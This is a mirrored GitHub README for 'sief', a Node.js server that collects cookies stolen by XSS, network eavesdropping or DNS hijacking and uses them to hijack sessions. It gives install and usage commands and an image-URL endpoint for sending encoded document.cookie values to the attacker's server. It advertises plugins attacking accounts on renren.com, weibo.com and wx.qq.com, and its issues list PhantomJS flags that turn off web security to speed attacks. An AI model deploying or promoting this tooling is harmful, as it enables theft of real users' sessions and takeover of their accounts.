Giter Site home page Giter Site logo

sief's Introduction

sief

A server listening to cookie submission to hijack session, supporting writing plugins for site specific attacks.

sief = thief + safe

This is a project to hijack sessions, and also a project to make your site safer, depending on the way you use it.

Philosophy

  • Do NOT steal cookies, only accept cookies from everywhere(xss, network eavsdropping, dns hijacking…)
  • Focus on the exploitation of session hijacking.

Features

  • Request to an image to upload cookies stolen by xss/network eavsdropping/dns hijack/other.
  • Log persistence.
  • Prebuilt plugins to attack renren.com, weibo.com, wx.qq.com.
  • Write your own plugins to do other attacks you desired. Plugins are loaded/reloaded/unloaded when added/changed/removed automatically, no need to restart.
  • View real-time cookie submissions and login to those hijacked sessions directly in browser with Sief Chrome Extension.
  • Ignore cookie submissions if the same one is received before, during a specified period of time, to protect your server.

Install

  1. Install PhantomJS

  2. Install sief

    npm install sief -g

Usage

Server

Usage: sief [options] <plugin|dir ...>

Options:

  -h, --help                   output usage information
  -V, --version                output the version number
  -i, --ignore-time [seconds]  specify seconds during which same requests will be ignored [300]
  -p, --port [port]            specify the port sief server listening to [3000]
  -l, --log-level [level]      set log level [INFO]

Submit cookies

GET /xxx.png?cookie=#cookies#&referer=#referer#&domain=#domani#

Parameters:

  • cookies - Required. Encode cookies first, for example, encodeURIComponent(document.cookies)
  • referer - If the attack is an xss exploit, referer will be retrieved from headers.referer directly, otherwise, specifiy it in query string.
  • domain - Domain is calculated from referer, defaults to main domain, for example qq.com. IF you want to fire a attack to its subdomain(wx.qq.com), specify it in query string.

sief's People

Contributors

shaoshuai0102 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

sief's Issues

logs

  • log splitting
  • access log
  • plugin log, recording attacking info, user info, etc...
  • error log

web interface

  • real time cookie catching info
  • login victim account with a click in browser
  • real time log fetching from server log

lib API

  • setup server
  • plugin execution

phantom参数设置优化

  • --disk-cache=true 指定cache,提高攻击速度
  • --ignore-ssl-errors=true 忽略ssl错误,方便攻击
  • --load-images=false 禁止加载图片,提升速度
  • --web-security=false 关掉security选项,可以直接跨域发起异步请求

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.